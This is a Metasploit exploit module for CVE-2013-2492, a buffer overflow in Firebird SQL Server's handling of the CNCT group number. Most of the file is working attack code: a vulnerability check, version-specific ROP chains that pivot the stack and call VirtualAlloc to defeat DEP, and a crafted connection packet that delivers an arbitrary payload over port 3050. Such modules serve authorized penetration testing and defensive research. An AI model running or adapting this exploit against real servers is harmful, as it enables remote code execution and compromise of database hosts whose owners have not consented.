##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking
	include Msf::Exploit::Remote::Tcp

	def initialize
		super(
			'Name'           => 'Firebird Relational Database CNCT Group Number Buffer Overflow',
			'Description'    => %q{
				This module exploits a vulnerability in Firebird SQL Server.  A
			specially crafted packet can be sent which will overwrite a pointer
			allowing the attacker to control where data is read from.  Shortly following
			the controlled read, the pointer is called resulting in code execution.

			The vulnerability exists with a group number is extracted from the CNCT information
			which is sent by the client and the size is not properly checked.

			This module utilizes an existing call to memcpy just prior to the vulnerable exception
			which allows a small amount of data to be written to the stack.  A small stackpivot is
			used to execute a small ROP chain which provides a larger stack pivot to a larger ROP
			chain which ultimately is used to execute VirtualAlloc and bypass DEP.
			},
			'Author'      => [
				'Spencer McIntyre'
			],
			'Arch'        => [ ARCH_X86 ],
			'Platform'    => [ 'win' ],
			'References'  =>
				[
					[ 'CVE', '2013-2492' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh'
				},
			'Payload'      =>
				{
					# mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]
					'Prepend'         => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",
					'Space'           => 400,
					'BadChars'        => "\x00\x0a\x0d",
				},
			'Targets'     =>
				[
					# pivots are pointers to stack pivots
					[ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],
					[ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],
					[ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],
					[ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ],
				],
			'DefaultTarget'  => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Jan 31 2013'
		)

		register_options([Opt::RPORT(3050)], self.class)
	end

	def check
		begin
			connect
		rescue
			return Exploit::CheckCode::Safe
		end

		filename =  "C:\\#{rand_text_alpha(12)}.fdb"
		username = rand_text_alpha(7)

		check_data =  ""
		check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
		check_data << "\x00\x00\x00\x13"
		check_data << filename
		check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"
		check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"
		check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
		check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
		check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
		check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
		check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
		check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
		check_data << "\x00\x00\x00\x08"

		sock.put(check_data)
		data = sock.recv(16)
		disconnect

		opcode = data.unpack("N*")[0]
		version = data.unpack("N*")[1]
		if opcode == 3 # Accept
			if [ 0xffff800b, 0xffff800c ].include?(version)
				return Exploit::CheckCode::Vulnerable
			end
			return Exploit::CheckCode::Detected
		end

		return Exploit::CheckCode::Unknown
	end

	def stack_pivot_rop_chain
		case target.name
		when 'Windows FB 2.5.2.26539'
			rop_chain = [
				0x005e1ea4,		# MOV EAX,EDI # RETN [fbserver.exe]
				0x0059ffeb,		# POP EBP # RETN [fbserver.exe]
				0x0000153c,		# 0x0000153c-> ebp
				0x005d261f,		# ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
				0x0059fe1f,		# MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
			].pack("V*")
		when 'Windows FB 2.5.1.26351'
			rop_chain = [
				0x005e1ab8,		# MOV EAX,EDI # RETN [fbserver.exe]
				0x0059650b,		# POP EBP # RETN [fbserver.exe]
				0x0000153c,		# 0x0000153c-> ebp
				0x005cf6ff,		# ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]
				0x0059a3db,		# MOV ESP,EBP # POP EBP # RETN [fbserver.exe]
			].pack("V*")
		when 'Windows FB 2.1.5.18496'
			rop_chain = [
				0x0055b844,		# MOV EAX,EDI # RETN [fbserver.exe]
				0x4a86ee77,		# POP ECX # RETN [icuuc30.dll]
				0x000001c0,		# 0x000001c0-> ebp
				0x005aee63,		# ADD EAX,ECX # RETN [fbserver.exe]
				0x4a82d326,		# XCHG EAX,ESP # RETN [icuuc30.dll]
			].pack("V*")
		when 'Debug'
			rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")
		end
		return rop_chain
	end

	def final_rop_chain
		# all rop chains in here created with mona.py, thanks corelan!
		case target.name
		when 'Windows FB 2.5.2.26539'
			rop_chain = [
				0x4a831344,	# POP ECX # RETN [icuuc30.dll]
				0x0065f16c,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
				0x005989f0,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
				0x004666a6,	# XCHG EAX,ESI # RETN [fbserver.exe]
				0x00431905,	# POP EBP # RETN [fbserver.exe]
				0x00401932,	# & push esp # ret  [fbserver.exe]
				0x4a844ac0,	# POP EBX # RETN [icuuc30.dll]
				0x00001000,	# 0x00001000-> ebx
				0x4a85bfee,	# POP EDX # RETN [icuuc30.dll]
				0x00001000,	# 0x00001000-> edx
				0x005dae9e,	# POP ECX # RETN [fbserver.exe]
				0x00000040,	# 0x00000040-> ecx
				0x0057a822,	# POP EDI # RETN [fbserver.exe]
				0x005b0384,	# RETN (ROP NOP) [fbserver.exe]
				0x0046f8c3,	# POP EAX # RETN [fbserver.exe]
				0x90909090,	# nop
				0x00586002,	# PUSHAD # RETN [fbserver.exe]
			].pack("V*")
		when 'Windows FB 2.5.1.26351'
			rop_chain = [
				0x00656472,	# POP ECX # RETN [fbserver.exe]
				0x0065b16c,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
				0x00410940,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
				0x0063be76,	# XCHG EAX,ESI # RETN [fbserver.exe]
				0x0041d1ae,	# POP EBP # RETN [fbserver.exe]
				0x0040917f,	# & call esp [fbserver.exe]
				0x4a8589c0,	# POP EBX # RETN [icuuc30.dll]
				0x00001000,	# 0x00001000-> ebx
				0x4a864cc3,	# POP EDX # RETN [icuuc30.dll]
				0x00001000,	# 0x00001000-> edx
				0x0064ef59,	# POP ECX # RETN [fbserver.exe]
				0x00000040,	# 0x00000040-> ecx
				0x005979fa,	# POP EDI # RETN [fbserver.exe]
				0x00424a50,	# RETN (ROP NOP) [fbserver.exe]
				0x4a86052d,	# POP EAX # RETN [icuuc30.dll]
				0x90909090,	# nop
				0x005835f2,	# PUSHAD # RETN [fbserver.exe]
			].pack("V*")
		when 'Windows FB 2.1.5.18496'
			rop_chain = [
				0x005763d5,	# POP EAX # RETN [fbserver.exe]
				0x005ce120,	# ptr to &VirtualAlloc() [IAT fbserver.exe]
				0x004865a4,	# MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]
				0x004cf4f6,	# XCHG EAX,ESI # RETN [fbserver.exe]
				0x004e695a,	# POP EBP # RETN [fbserver.exe]
				0x004d9e6d,	# & jmp esp [fbserver.exe]
				0x4a828650,	# POP EBX # RETN [icuuc30.dll]
				0x00001000,	# 0x00001000-> ebx
				0x4a85bfee,	# POP EDX # RETN [icuuc30.dll]
				0x00001000,	# 0x00001000-> edx
				0x00590328,	# POP ECX # RETN [fbserver.exe]
				0x00000040,	# 0x00000040-> ecx
				0x4a8573a1,	# POP EDI # RETN [icuuc30.dll]
				0x0042ba8c,	# RETN (ROP NOP) [fbserver.exe]
				0x00577605,	# POP EAX # RETN [fbserver.exe]
				0x90909090,	# nop
				0x004530ce,	# PUSHAD # RETN [fbserver.exe]
			].flatten.pack("V*")
		when 'Debug'
			rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")
		end
		return rop_chain
	end

	def exploit
		connect

		rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")

		# this data gets written to the stack via memcpy, no more than 32 bytes can be written
		overwrite_and_rop_chain =  [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot
		overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]
		overwrite_and_rop_chain << stack_pivot_rop_chain

		filename  =  "C:\\#{rand_text_alpha(13)}.fdb"
		evil_data =  "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
		evil_data << "\x00\x00\x00\x14"
		evil_data << filename
		evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"
		evil_data << "\x05\x20"
		evil_data << overwrite_and_rop_chain
		evil_data << "\x15\x6c\x6f\x63\x61\x6c"
		evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
		evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
		evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
		evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
		evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
		evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
		evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"
		evil_data << rop_nop_sled
		evil_data << final_rop_chain
		evil_data << payload.encoded

		print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Connection Request For #{filename}")
		sock.put(evil_data)

		disconnect
	end

end